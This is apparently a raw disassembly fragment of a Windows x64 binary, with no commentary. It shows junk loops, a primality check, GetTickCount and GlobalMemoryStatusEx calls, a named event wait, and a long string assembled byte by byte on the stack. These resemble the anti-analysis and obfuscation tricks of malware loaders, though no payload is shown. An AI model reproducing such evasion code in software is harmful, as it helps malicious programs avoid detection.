mov dword [rsp + 0x304], 0xf55a
mov dword [rsp + 0x308], 0x762f
mov dword [rsp + 0x30c], 0x988c
mov dword [rsp + 0x310], 0x74d8
mov dword [rsp + 0x314], 0x8e2c
mov dword [rsp + 0x318], 0x46af
mov dword [rsp + 0x31c], 0x17d05
mov dword [rsp + 0x320], 0xa5ab
mov dword [rsp + 0x324], 0x6dd9
mov dword [rsp + 0x328], 0x3d7b
mov dword [rsp + 0x32c], 0x3775
mov dword [rsp + 0x330], 0x11e5a
mov dword [rsp + 0x334], 0xc16
mov dword [rsp + 0x338], 0xe3c7
mov dword [rsp + 0x33c], 0x15e74
mov dword [rsp + 0x340], 0xa5f6
mov dword [rsp + 0x344], 0x118aa
mov dword [rsp + 0x348], 0x1a45
mov dword [rsp + 0x34c], 0xab05
mov dword [rsp + 0x350], 0x312b
mov dword [rsp + 0x354], 0x3744
mov dword [rsp + 0x358], 0x52e
mov dword [rsp + 0x35c], 0xec92
mov dword [rsp + 0x360], 0x9a47
mov dword [rsp + 0x364], 0xb32f
mov dword [rsp + 0x368], 0x135c1
mov dword [rsp + 0x36c], 0x5864
mov dword [rsp + 0x370], 0x116ce
mov dword [rsp + 0x374], 0xb146
mov dword [rsp + 0x378], 0x10ed8
mov dword [rsp + 0x37c], 0x4d2a
mov dword [rsp + 0x380], 0xe3e0
mov dword [rsp + 0x384], 0x30c5
mov dword [rsp + 0x388], 0xd8e1
mov dword [rsp + 0x38c], 0x2f3a
mov dword [rsp + 0x390], 0x8e81
mov dword [rsp + 0x394], 0x12411
mov dword [rsp + 0x398], 0xef52
mov dword [rsp + 0x39c], 0xa540
mov dword [rsp + 0x3a0], 0x14d9e
mov dword [rsp + 0x3a4], 0x5562
mov dword [rsp + 0x3a8], 0x7222
mov dword [rsp + 0x3ac], 0x28a6
mov dword [rsp + 0x3b0], 0x15c0b
mov dword [rsp + 0x3b4], 0xd8b2
mov dword [rsp + 0x3b8], 0xb97e
mov dword [rsp + 0x3bc], 0xf4de
mov dword [rsp + 0x3c0], 0x2bca
mov dword [rsp + 0x3c4], 0x4902
mov dword [rsp + 0x3c8], 0xee59
mov dword [rsp + 0x3cc], 0x3f2c
mov dword [rsp + 0x3d0], 0x1598
mov dword [rsp + 0x3d4], 0xd42e
mov dword [rsp + 0x3d8], 0x63e0
mov dword [rsp + 0x3dc], 0xb8a5
mov dword [rsp + 0x3e0], 0x12c4a
mov dword [rsp + 0x3e4], 0x1823e
mov dword [rsp + 0x3e8], 0xda1e
mov dword [rsp + 0x3ec], 0x6402
mov dword [rsp + 0x3f0], 0x8dbc
mov dword [rsp + 0x3f4], 0x4371
mov dword [rsp + 0x3f8], 0x3b71
mov dword [rsp + 0x3fc], 0x805
mov dword [rsp + 0x400], 0x8282
mov dword [rsp + 0x404], 0x11f59
mov dword [rsp + 0x408], 0x482e
mov dword [rsp + 0x40c], 0x9780
mov dword [rsp + 0x410], 0x3b7b
mov dword [rsp + 0x414], 0x895c
mov dword [rsp + 0x418], 0xae34
mov dword [rsp + 0x41c], 0x40c3
mov dword [rsp + 0x420], 0x3eac
mov dword [rsp + 0x424], 0x29ad
mov dword [rsp + 0x428], 0xecc8
mov dword [rsp + 0x42c], 0x134ca
mov dword [rsp + 0x430], 0x83bc
mov dword [rsp + 0x434], 0x47ad
mov dword [rsp + 0x438], 0x9041
mov dword [rsp + 0x43c], 0xd150
mov dword [rsp + 0x440], 0x17044
mov dword [rsp + 0x444], 0xc27d
mov dword [rsp + 0x448], 0xfb24
mov dword [rsp + 0x44c], 0x3d6e
mov dword [rsp + 0x450], 0x1a8b
mov dword [rsp + 0x454], 0x58b4
mov dword [rsp + 0x458], 0xab78
mov dword [rsp + 0x45c], 0x39e7
mov dword [rsp + 0x460], 0xd1fd
mov dword [rsp + 0x464], 0x12981
mov dword [rsp + 0x468], 0x3633
mov dword [rsp + 0x46c], 0x3ff1
mov dword [rsp + 0x470], 0xed9c
mov dword [rsp + 0x474], 0x10a76
mov dword [rsp + 0x478], 0x10ec8
mov dword [rsp + 0x47c], 0x17047
mov dword [rsp + 0x480], 0x1848e
mov dword [rsp + 0x484], 0x96d2
mov dword [rsp + 0x488], 0x12e66
mov dword [rsp + 0x48c], 0x153a7
mov dword [rsp + 0x490], 0x15a6
mov dword [rsp + 0x494], 0x17386
mov dword [rsp + 0x498], 0x7f8
mov dword [rsp + 0x49c], 0x158bc
mov dword [rsp + 0x4a0], 0xad9e
mov dword [rsp + 0x4a4], 0x9039
mov dword [rsp + 0x4a8], 0xbaba
mov dword [rsp + 0x4ac], 0x10622
mov dword [rsp + 0x4b0], 0xee23
mov dword [rsp + 0x4b4], 0x611b
mov dword [rsp + 0x4b8], 0x12d39
mov dword [rsp + 0x4bc], 0x4dab
mov dword [rsp + 0x4c0], 0x11eab
mov dword [rsp + 0x4c4], 0xcef
mov dword [rsp + 0x4c8], 0xd356
mov dword [rsp + 0x4cc], 0x7bb0
mov dword [rsp + 0x4d0], 0x134db
mov dword [rsp + 0x4d4], 0x15955
mov dword [rsp + 0x4d8], 0x13aa
mov dword [rsp + 0x4dc], 0x19dc
mov dword [rsp + 0x4e0], 0xcfa7
mov dword [rsp + 0x4e4], 0x39a8
mov dword [rsp + 0x4e8], 0x2bae
mov dword [rsp + 0x4ec], 0xa9c4
mov dword [rsp + 0x4f0], 0x15421
mov dword [rsp + 0x4f4], 0x189b
mov dword [rsp + 0x4f8], 0x178f
mov dword [rsp + 0x4fc], 0x16d9f
mov dword [rsp + 0x500], 0x62c
mov dword [rsp + 0x504], 0x4c67
mov dword [rsp + 0x508], 0x11cfc
mov dword [rsp + 0x50c], 0x1537a
mov dword [rsp + 0x510], 0x12f24
mov dword [rsp + 0x514], 0x166c0
mov dword [rsp + 0x518], 0x1163c
mov dword [rsp + 0x51c], 0x15c07
mov dword [rsp + 0x520], 0x86cb
mov dword [rsp + 0x524], 0x11057
mov dword [rsp + 0x528], 0xa31d
mov dword [rsp + 0x52c], 0xb993
mov dword [rsp + 0x530], 0x157b0
mov dword [rsp + 0x534], 0xa4f
mov dword [rsp + 0x538], 0xa12b
mov dword [rsp + 0x53c], 0x41c3
mov dword [rsp + 0x540], 0x2e46
mov dword [rsp + 0x544], 0x162cc
mov dword [rsp + 0x548], 0xf14
mov dword [rsp + 0x54c], 0x2d53
mov dword [rsp + 0x550], 0x9d69
mov dword [rsp + 0x554], 0x1420d
mov dword [rsp + 0x558], 0x7b28
mov dword [rsp + 0x55c], 0x10bfd
mov dword [rsp + 0x560], 0xd857
mov dword [rsp + 0x564], 0x6f2
mov dword [rsp + 0x568], 0x1708f
mov dword [rsp + 0x56c], 0x1c61
mov dword [rsp + 0x570], 0x15b4f
mov dword [rsp + 0x574], 0x142b0
mov dword [rsp + 0x578], 0x1769a
mov dword [rsp + 0x57c], 0xd94a
mov dword [rsp + 0x580], 0x17bc1
mov dword [rsp + 0x584], 0x772b
mov dword [rsp + 0x588], 0x1479a
mov dword [rsp + 0x58c], 0x8391
mov dword [rsp + 0x590], 0x7016
mov dword [rsp + 0x594], 0x258c
mov dword [rsp + 0x598], 0x12e4a
mov dword [rsp + 0x59c], 0x4837
mov dword [rsp + 0x5a0], 0x17294
mov dword [rsp + 0x5a4], 0xd3de
mov dword [rsp + 0x5a8], 0x16d9e
mov dword [rsp + 0x5ac], 0x50a2
mov dword [rsp + 0x5b0], 0x7d75
mov dword [rsp + 0x5b4], 0x13753
mov dword [rsp + 0x5b8], 0xd0a8
mov dword [rsp + 0x5bc], 0xe561
mov dword [rsp + 0x5c0], 0xf324
mov dword [rsp + 0x5c4], 0x18643
mov dword [rsp + 0x5c8], 0x113c4
mov dword [rsp + 0x5cc], 0x6f5e
mov dword [rsp + 0x5d0], 0x8901
mov dword [rsp + 0x5d4], 0x90ad
mov dword [rsp + 0x5d8], 0x851e
mov dword [rsp + 0x5dc], 0xfb68
mov dword [rsp + 0x5e0], 0xc76e
mov dword [rsp + 0x5e4], 0x3913
mov dword [rsp + 0x5e8], 0x5a05
mov dword [rsp + 0x5ec], 0x15a32
mov dword [rsp + 0x5f0], 0xdb8a
mov dword [rsp + 0x5f4], 0x1858e
mov dword [rsp + 0x5f8], 0x9f4d
mov dword [rsp + 0x5fc], 0xb007
mov dword [rsp + 0x600], 0xdc38
mov dword [rsp + 0x604], 0xf0c6
mov dword [rsp + 0x608], 0xc527
mov dword [rsp + 0x60c], 0x3f9a
mov dword [rsp + 0x610], 0xf135
mov dword [rsp + 0x614], 0x9235
mov dword [rsp + 0x618], 0x36f1
mov dword [rsp + 0x61c], 0x851d
mov dword [rsp + 0x620], 0x14aef
mov dword [rsp + 0x624], 0x1453e
mov dword [rsp + 0x628], 0x155d6
mov dword [rsp + 0x62c], 0x9c1e
mov dword [rsp + 0x630], 0x2d46
mov dword [rsp + 0x634], 0x180ae
mov dword [rsp + 0x638], 0x90a8
mov dword [rsp + 0x63c], 0x16fa6
mov dword [rsp + 0x640], 0xe378
mov dword [rsp + 0x644], 0x595c
mov dword [rsp + 0x648], 0x54ec
mov dword [rsp + 0x64c], 0x157fb
mov dword [rsp + 0x650], 0x13655
mov dword [rsp + 0x654], 0xab6e
mov dword [rsp + 0x658], 0xb27d
mov dword [rsp + 0x65c], 0x7d30
mov dword [rsp + 0x660], 0x6e71
mov dword [rsp + 0x664], 0xc390
mov dword [rsp + 0x668], 0x3ee4
mov dword [rsp + 0x66c], 0x9894
mov dword [rsp + 0x670], 0x19e8
mov dword [rsp + 0x674], 0x10029
mov dword [rsp + 0x678], 0xff2d
mov dword [rsp + 0x67c], 0x5253
mov dword [rsp + 0x680], 0x6282
mov dword [rsp + 0x684], 0x7d44
mov dword [rsp + 0x688], 0x4850
mov dword [rsp + 0x68c], 0x6975
mov dword [rsp + 0x690], 0xcf73
mov dword [rsp + 0x694], 0x131a1
mov dword [rsp + 0x698], 0x23ed
mov dword [rsp + 0x69c], 0x8293
mov dword [rsp + 0x6a0], 0x54f0
mov dword [rsp + 0x6a4], 0x13862
mov dword [rsp + 0x6a8], 0xaa8c
mov dword [rsp + 0x6ac], 0x4c99
mov dword [rsp + 0x6b0], 0x116ec
mov dword [rsp + 0x6b4], 0x13bcd
mov dword [rsp + 0x6b8], 0x546e
mov dword [rsp + 0x6bc], 0x55a3
mov dword [rsp + 0x6c0], 0x8a62
mov dword [rsp + 0x6c4], 0x13299
mov dword [rsp + 0x6c8], 0x102cf
mov dword [rsp + 0x6cc], 0x1782c
mov dword [rsp + 0x6d0], 0x5db8
mov dword [rsp + 0x6d4], 0xb5a9
mov dword [rsp + 0x6d8], 0x23ad
mov dword [rsp + 0x6dc], 0x16f8d
mov dword [rsp + 0x6e0], 0xbfc1
mov dword [rsp + 0x6e4], 0x124b4
mov dword [rsp + 0x6e8], 0x6da1
mov dword [rsp + 0x6ec], 0x5f2b
mov dword [rsp + 0x6f0], 0x140bd
mov dword [rsp + 0x6f4], 0x7dc3
mov dword [rsp + 0x6f8], 0x100d8
mov dword [rsp + 0x6fc], 0x12888
mov dword [rsp + 0x700], 0x1216a
mov dword [rsp + 0x704], 0x1755c
mov dword [rsp + 0x708], 0xe1a6
mov dword [rsp + 0x70c], 0xb7a0
mov dword [rsp + 0x710], 0x15543
mov dword [rsp + 0x714], 0xf261
mov dword [rsp + 0x718], 0xbb7f
mov dword [rsp + 0x71c], 0xf11b
mov dword [rsp + 0x720], 0x6391
mov dword [rsp + 0x724], 0x16014
mov dword [rsp + 0x728], 0x4040
mov dword [rsp + 0x72c], 0xa94f
mov dword [rsp + 0x730], 0xc929
mov dword [rsp + 0x734], 0xf1a6
mov dword [rsp + 0x738], 0x177fc
mov dword [rsp + 0x73c], 0x3e31
mov dword [rsp + 0x740], 0x12b4e
mov dword [rsp + 0x744], 0xb3aa
mov dword [rsp + 0x748], 0x30b7
mov dword [rsp + 0x74c], 0x313f
mov dword [rsp + 0x750], 0x14b7
mov dword [rsp + 0x754], 0x17057
mov dword [rsp + 0x758], 0x11d15
mov dword [rsp + 0x75c], 0x14318
mov dword [rsp + 0x760], 0x1849e
mov dword [rsp + 0x764], 0x11ede
mov dword [rsp + 0x768], 0x17d68
mov dword [rsp + 0x76c], 0xb0dc
mov dword [rsp + 0x770], 0xf800
mov dword [rsp + 0x774], 0x13fac
mov dword [rsp + 0x778], 0x6bc6
mov dword [rsp + 0x77c], 0x17b11
mov dword [rsp + 0x780], 0x141c6
mov dword [rsp + 0x784], 0x38a5
mov dword [rsp + 0x788], 0xd117
mov dword [rsp + 0x78c], 0xc6c0
mov dword [rsp + 0x790], 0x17e46
mov dword [rsp + 0x794], 0xf9fd
mov dword [rsp + 0x798], 0xb38d
mov dword [rsp + 0x79c], 0x6b12
mov dword [rsp + 0x7a0], 0xfe27
mov dword [rsp + 0x7a4], 0x15b5
mov dword [rsp + 0x7a8], 0x5d7d
mov dword [rsp + 0x7ac], 0x96b0
mov dword [rsp + 0x7b0], 0x9a4e
mov dword [rsp + 0x7b4], 0x979b
mov dword [rsp + 0x7b8], 0x13449
mov dword [rsp + 0x48], 0
jmp 0x140003769
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
movsxd rax, dword [rsp + 0x48]
cmp rax, reloc.OLEAUT32.dll_SafeArrayCopyData
jae 0x14000379b
movsxd rax, dword [rsp + 0x48]
mov ecx, reloc.OLEAUT32.dll_SafeArrayCopyData
sub rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x48]
mov eax, dword [rsp + rax*4 + 0x150]
mov dword [rsp + rcx*4 + 0x150], eax
jmp 0x14000375f
mov byte [rsp + 0x20], 0
mov dword [rsp + 0x4c], 2
jmp 0x1400037b4
mov eax, dword [rsp + 0x4c]
inc eax
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
imul eax, dword [rsp + 0x4c]
cmp eax, dword [rsp + 0x5c]
jg 0x1400037db
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x4c]
mov eax, edx
test eax, eax
jne 0x1400037d9
mov byte [rsp + 0x20], 0
jmp 0x1400037db
jmp 0x1400037aa
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1400037ec
mov dword [rsp + 0x5c], 0
jmp 0x1400038c5
lea rax, [rsp + 0x11c0]
mov rdi, rax
xor eax, eax
mov ecx, 0x150
rep stosb byte [rdi], al
mov dword [rsp + 0x80], 0
jmp 0x140003822
mov eax, dword [rsp + 0x80]
inc eax
mov dword [rsp + 0x80], eax
movsxd rax, dword [rsp + 0x80]
cmp rax, 7
jae 0x14000385b
mov dword [rsp + 0x84], 0
jmp 0x14000384d
mov eax, dword [rsp + 0x84]
inc eax
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0xc
jge 0x140003859
jmp 0x14000383d
jmp 0x140003812
lea rax, [rsp + 0x1070]
mov rdi, rax
xor eax, eax
mov ecx, 0x150
rep stosb byte [rdi], al
mov dword [rsp + 0x88], 0
jmp 0x14000388c
mov eax, dword [rsp + 0x88]
inc eax
mov dword [rsp + 0x88], eax
movsxd rax, dword [rsp + 0x88]
cmp rax, 7
jae 0x1400038c5
mov dword [rsp + 0x8c], 0
jmp 0x1400038b7
mov eax, dword [rsp + 0x8c]
inc eax
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0xc
jge 0x1400038c3
jmp 0x1400038a7
jmp 0x14000387c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
cvtsi2sd xmm0, rax
movsd qword [rsp + 0x860], xmm0
mov dword [rsp + 0x7c0], 0x28e2
mov dword [rsp + 0x21a0], 0x40
lea rcx, [rsp + 0x21a0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp eax, 1
jne 0x140003a82
lea r9, str.Code_qqAnfaSpiF
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x130], rax
cmp qword [rsp + 0x130], 0
je 0x140003a2c
mov edx, 0x13e
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rax, [rsp + 0x1310]
mov rdi, rax
xor eax, eax
mov ecx, 0x2f8
rep stosb byte [rdi], al
mov dword [rsp + 0x90], 0
jmp 0x14000397a
mov eax, dword [rsp + 0x90]
inc eax
mov dword [rsp + 0x90], eax
movsxd rax, dword [rsp + 0x90]
cmp rax, 0xa
jae 0x1400039b3
mov dword [rsp + 0x94], 0
jmp 0x1400039a5
mov eax, dword [rsp + 0x94]
inc eax
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x94], 0x13
jge 0x1400039b1
jmp 0x140003995
jmp 0x14000396a
lea rax, [rsp + 0x1df0]
mov rdi, rax
xor eax, eax
mov ecx, 0x2f8
rep stosb byte [rdi], al
mov dword [rsp + 0x98], 0
jmp 0x1400039e4
mov eax, dword [rsp + 0x98]
inc eax
mov dword [rsp + 0x98], eax
movsxd rax, dword [rsp + 0x98]
cmp rax, 0xa
jae 0x140003a1d
mov dword [rsp + 0x9c], 0
jmp 0x140003a0f
mov eax, dword [rsp + 0x9c]
inc eax
mov dword [rsp + 0x9c], eax
cmp dword [rsp + 0x9c], 0x13
jge 0x140003a1b
jmp 0x1400039ff
jmp 0x1400039d4
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cvttsd2si eax, qword [rsp + 0x860]
mov dword [rsp + 0x118], eax
mov dword [rsp + 0xec], 1
mov dword [rsp + 0x60], 2
jmp 0x140003a5b
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x118]
cmp dword [rsp + 0x60], eax
jg 0x140003a7d
mov eax, dword [rsp + 0xec]
imul eax, dword [rsp + 0x60]
mov dword [rsp + 0xec], eax
jmp 0x140003a51
jmp 0x1400048e1
mov byte [rsp + 0x23c0], 0x36
mov byte [rsp + 0x23c1], 0x62
mov byte [rsp + 0x23c2], 0x7a
mov byte [rsp + 0x23c3], 0x58
mov byte [rsp + 0x23c4], 0x43
mov byte [rsp + 0x23c5], 0x4f
mov byte [rsp + 0x23c6], 0x6b
mov byte [rsp + 0x23c7], 0x52
mov byte [rsp + 0x23c8], 0x73
mov byte [rsp + 0x23c9], 0x32
mov byte [rsp + 0x23ca], 0x6b
mov byte [rsp + 0x23cb], 0x5a
mov byte [rsp + 0x23cc], 0x6a
mov byte [rsp + 0x23cd], 0x71
mov byte [rsp + 0x23ce], 0x54
mov byte [rsp + 0x23cf], 0x31
mov byte [rsp + 0x23d0], 0x5a
mov byte [rsp + 0x23d1], 0x4d
mov byte [rsp + 0x23d2], 0x41
mov byte [rsp + 0x23d3], 0x43
mov byte [rsp + 0x23d4], 0x31
mov byte [rsp + 0x23d5], 0x38
mov byte [rsp + 0x23d6], 0x52
mov byte [rsp + 0x23d7], 0x46
mov byte [rsp + 0x23d8], 0x6b
mov byte [rsp + 0x23d9], 0x35
mov byte [rsp + 0x23da], 0x75
mov byte [rsp + 0x23db], 0x52
mov byte [rsp + 0x23dc], 0x6a
mov byte [rsp + 0x23dd], 0x77
mov byte [rsp + 0x23de], 0x7a
mov byte [rsp + 0x23df], 0x71
mov byte [rsp + 0x23e0], 0x4d
mov byte [rsp + 0x23e1], 0x71
mov byte [rsp + 0x23e2], 0x7a
mov byte [rsp + 0x23e3], 0x30
mov byte [rsp + 0x23e4], 0x56
mov byte [rsp + 0x23e5], 0x4d
mov byte [rsp + 0x23e6], 0x4b
mov byte [rsp + 0x23e7], 0x49
mov byte [rsp + 0x23e8], 0x31
mov byte [rsp + 0x23e9], 0x42
mov byte [rsp + 0x23ea], 0x62
mov byte [rsp + 0x23eb], 0x31
mov byte [rsp + 0x23ec], 0x47
mov byte [rsp + 0x23ed], 0x48
mov byte [rsp + 0x23ee], 0x71
mov byte [rsp + 0x23ef], 0x41
mov byte [rsp + 0x23f0], 0x79
mov byte [rsp + 0x23f1], 0x77
mov byte [rsp + 0x23f2], 0x77
mov byte [rsp + 0x23f3], 0x56
mov byte [rsp + 0x23f4], 0x74
mov byte [rsp + 0x23f5], 0x79
mov byte [rsp + 0x23f6], 0x6f
mov byte [rsp + 0x23f7], 0x57
mov byte [rsp + 0x23f8], 0x6c
mov byte [rsp + 0x23f9], 0x6b
mov byte [rsp + 0x23fa], 0x55
mov byte [rsp + 0x23fb], 0x45
mov byte [rsp + 0x23fc], 0x4a
mov byte [rsp + 0x23fd], 0x79
mov byte [rsp + 0x23fe], 0x45
mov byte [rsp + 0x23ff], 0x42
mov byte [rsp + 0x2400], 0x4d
mov byte [rsp + 0x2401], 0x69
mov byte [rsp + 0x2402], 0x46
mov byte [rsp + 0x2403], 0x6d
mov byte [rsp + 0x2404], 0x73
mov byte [rsp + 0x2405], 0x71
mov byte [rsp + 0x2406], 0x75
mov byte [rsp + 0x2407], 0x56
mov byte [rsp + 0x2408], 0x43
mov byte [rsp + 0x2409], 0x46
mov byte [rsp + 0x240a], 0x72
mov byte [rsp + 0x240b], 0x33
mov byte [rsp + 0x240c], 0x62
mov byte [rsp + 0x240d], 0x4f
mov byte [rsp + 0x240e], 0x6d
mov byte [rsp + 0x240f], 0x4e
mov byte [rsp + 0x2410], 0x59
mov byte [rsp + 0x2411], 0x4e
mov byte [rsp + 0x2412], 0x66
mov byte [rsp + 0x2413], 0x57
mov byte [rsp + 0x2414], 0x4c
mov byte [rsp + 0x2415], 0x64
mov byte [rsp + 0x2416], 0x41
mov byte [rsp + 0x2417], 0x4c
mov byte [rsp + 0x2418], 0x43
mov byte [rsp + 0x2419], 0x52
mov byte [rsp + 0x241a], 0x50
mov byte [rsp + 0x241b], 0x67
mov byte [rsp + 0x241c], 0x64
mov byte [rsp + 0x241d], 0x66
mov byte [rsp + 0x241e], 0x4e
mov byte [rsp + 0x241f], 0x68
mov byte [rsp + 0x2420], 0x50
mov byte [rsp + 0x2421], 0x34
mov byte [rsp + 0x2422], 0x36
mov byte [rsp + 0x2423], 0x71
mov byte [rsp + 0x2424], 0x43
mov byte [rsp + 0x2425], 0x5a
mov byte [rsp + 0x2426], 0x65
mov byte [rsp + 0x2427], 0x72
mov byte [rsp + 0x2428], 0x5a
mov byte [rsp + 0x2429], 0x4e
mov byte [rsp + 0x242a], 0x33
mov byte [rsp + 0x242b], 0x44
mov byte [rsp + 0x242c], 0x36
mov byte [rsp + 0x242d], 0x6f
mov byte [rsp + 0x242e], 0x4d
mov byte [rsp + 0x242f], 0x6f
mov byte [rsp + 0x2430], 0x56
mov byte [rsp + 0x2431], 0x57
mov byte [rsp + 0x2432], 0x58
mov byte [rsp + 0x2433], 0x62
mov byte [rsp + 0x2434], 0x58
mov byte [rsp + 0x2435], 0x56
mov byte [rsp + 0x2436], 0x6b
mov byte [rsp + 0x2437], 0x43
mov byte [rsp + 0x2438], 0x6a
mov byte [rsp + 0x2439], 0x6f
mov byte [rsp + 0x243a], 0x43
mov byte [rsp + 0x243b], 0x57
mov byte [rsp + 0x243c], 0x4d
mov byte [rsp + 0x243d], 0x75
mov byte [rsp + 0x243e], 0x72
mov byte [rsp + 0x243f], 0x69
mov byte [rsp + 0x2440], 0x41
mov byte [rsp + 0x2441], 0x4d
mov byte [rsp + 0x2442], 0x50
mov byte [rsp + 0x2443], 0x44
mov byte [rsp + 0x2444], 0x51
mov byte [rsp + 0x2445], 0x75
mov byte [rsp + 0x2446], 0x4d
mov byte [rsp + 0x2447], 0x50
mov byte [rsp + 0x2448], 0x4f
mov byte [rsp + 0x2449], 0x46
mov byte [rsp + 0x244a], 0x45
mov byte [rsp + 0x244b], 0x65
mov byte [rsp + 0x244c], 0x49
mov byte [rsp + 0x244d], 0x50
mov byte [rsp + 0x244e], 0x38
mov byte [rsp + 0x244f], 0x50
mov byte [rsp + 0x2450], 0x5a
mov byte [rsp + 0x2451], 0x4c
mov byte [rsp + 0x2452], 0x65
mov byte [rsp + 0x2453], 0x33
mov byte [rsp + 0x2454], 0x76
mov byte [rsp + 0x2455], 0x71
mov byte [rsp + 0x2456], 0x4f
mov byte [rsp + 0x2457], 0x4e
mov byte [rsp + 0x2458], 0x41
mov byte [rsp + 0x2459], 0x6c
mov byte [rsp + 0x245a], 0x68
mov byte [rsp + 0x245b], 0x6f
mov byte [rsp + 0x245c], 0x71
mov byte [rsp + 0x245d], 0x6a
mov byte [rsp + 0x245e], 0x72
mov byte [rsp + 0x245f], 0x47
mov byte [rsp + 0x2460], 0x38
mov byte [rsp + 0x2461], 0x68
mov byte [rsp + 0x2462], 0x5a
mov byte [rsp + 0x2463], 0x6e
mov byte [rsp + 0x2464], 0x54
mov byte [rsp + 0x2465], 0x45
mov byte [rsp + 0x2466], 0x62
mov byte [rsp + 0x2467], 0x69
mov byte [rsp + 0x2468], 0x31
mov byte [rsp + 0x2469], 0x72
mov byte [rsp + 0x246a], 0x38
mov byte [rsp + 0x246b], 0x66
mov byte [rsp + 0x246c], 0x58
mov byte [rsp + 0x246d], 0x49
mov byte [rsp + 0x246e], 0x4c
mov byte [rsp + 0x246f], 0x32
mov byte [rsp + 0x2470], 0x6d
mov byte [rsp + 0x2471], 0x56
mov byte [rsp + 0x2472], 0x54
mov byte [rsp + 0x2473], 0x76
mov byte [rsp + 0x2474], 0x30
mov byte [rsp + 0x2475], 0x32
mov byte [rsp + 0x2476], 0x59
mov byte [rsp + 0x2477], 0x6a
mov byte [rsp + 0x2478], 0x53
mov byte [rsp + 0x2479], 0x71
mov byte [rsp + 0x247a], 0x45
mov byte [rsp + 0x247b], 0x48
mov byte [rsp + 0x247c], 0x65
mov byte [rsp + 0x247d], 0x55
mov byte [rsp + 0x247e], 0x72
mov byte [rsp + 0x247f], 0x74
mov byte [rsp + 0x2480], 0x42
mov byte [rsp + 0x2481], 0x4b
mov byte [rsp + 0x2482], 0x46
mov byte [rsp + 0x2483], 0x37
mov byte [rsp + 0x2484], 0x6b
mov byte [rsp + 0x2485], 0x65
mov byte [rsp + 0x2486], 0x6b
mov byte [rsp + 0x2487], 0x52
mov byte [rsp + 0x2488], 0x74
mov byte [rsp + 0x2489], 0x45
mov byte [rsp + 0x248a], 0x46
mov byte [rsp + 0x248b], 0x66
mov byte [rsp + 0x248c], 0x6d
mov byte [rsp + 0x248d], 0x43
mov byte [rsp + 0x248e], 0x74
mov byte [rsp + 0x248f], 0x74
mov byte [rsp + 0x2490], 0x35
mov byte [rsp + 0x2491], 0x75
mov byte [rsp + 0x2492], 0x30
mov byte [rsp + 0x2493], 0x44
mov byte [rsp + 0x2494], 0x43
mov byte [rsp + 0x2495], 0x4d
mov byte [rsp + 0x2496], 0x47
mov byte [rsp + 0x2497], 0x57
mov byte [rsp + 0x2498], 0x30
mov byte [rsp + 0x2499], 0x66
mov byte [rsp + 0x249a], 0x45
mov byte [rsp + 0x249b], 0x43
mov byte [rsp + 0x249c], 0x5a
mov byte [rsp + 0x249d], 0x66
mov byte [rsp + 0x249e], 0x69
mov byte [rsp + 0x249f], 0x46
mov byte [rsp + 0x24a0], 0x78
mov byte [rsp + 0x24a1], 0x56
mov byte [rsp + 0x24a2], 0x38
mov byte [rsp + 0x24a3], 0x46
mov byte [rsp + 0x24a4], 0x67
mov byte [rsp + 0x24a5], 0x53
mov byte [rsp + 0x24a6], 0x44
mov byte [rsp + 0x24a7], 0x66
mov byte [rsp + 0x24a8], 0x64
mov byte [rsp + 0x24a9], 0x74
mov byte [rsp + 0x24aa], 0x31
mov byte [rsp + 0x24ab], 0x78
mov byte [rsp + 0x24ac], 0x43
mov byte [rsp + 0x24ad], 0x65
mov byte [rsp + 0x24ae], 0x58
mov byte [rsp + 0x24af], 0x38
mov byte [rsp + 0x24b0], 0x35
mov byte [rsp + 0x24b1], 0x42
mov byte [rsp + 0x24b2], 0x63
mov byte [rsp + 0x24b3], 0x56
mov byte [rsp + 0x24b4], 0x31
mov byte [rsp + 0x24b5], 0x4b
mov byte [rsp + 0x24b6], 0x41
mov byte [rsp + 0x24b7], 0x30
mov byte [rsp + 0x24b8], 0x34
mov byte [rsp + 0x24b9], 0x4e
mov byte [rsp + 0x24ba], 0x45
mov byte [rsp + 0x24bb], 0x75
mov byte [rsp + 0x24bc], 0x58
mov byte [rsp + 0x24bd], 0x55
mov byte [rsp + 0x24be], 0x54
mov byte [rsp + 0x24bf], 0x4e
mov byte [rsp + 0x24c0], 0x78
mov byte [rsp + 0x24c1], 0x69
mov byte [rsp + 0x24c2], 0x59
mov byte [rsp + 0x24c3], 0x77
mov byte [rsp + 0x24c4], 0x35
mov byte [rsp + 0x24c5], 0x64
mov byte [rsp + 0x24c6], 0x63
mov byte [rsp + 0x24c7], 0x79
mov byte [rsp + 0x24c8], 0x68
mov byte [rsp + 0x24c9], 0x35
mov byte [rsp + 0x24ca], 0x6c
mov byte [rsp + 0x24cb], 0x6b
mov byte [rsp + 0x24cc], 0x67
mov byte [rsp + 0x24cd], 0x47
mov byte [rsp + 0x24ce], 0x57
mov byte [rsp + 0x24cf], 0x75
mov byte [rsp + 0x24d0], 0x38
mov byte [rsp + 0x24d1], 0x55
mov byte [rsp + 0x24d2], 0x73
mov byte [rsp + 0x24d3], 0x55
mov byte [rsp + 0x24d4], 0x75
mov byte [rsp + 0x24d5], 0x44
mov byte [rsp + 0x24d6], 0x49
mov byte [rsp + 0x24d7], 0x53
mov byte [rsp + 0x24d8], 0x4b
mov byte [rsp + 0x24d9], 0x32
mov byte [rsp + 0x24da], 0x51
mov byte [rsp + 0x24db], 0x68
mov byte [rsp + 0x24dc], 0x33
mov byte [rsp + 0x24dd], 0x36
mov byte [rsp + 0x24de], 0x6e
mov byte [rsp + 0x24df], 0x50
mov byte [rsp + 0x24e0], 0x34
mov byte [rsp + 0x24e1], 0x71
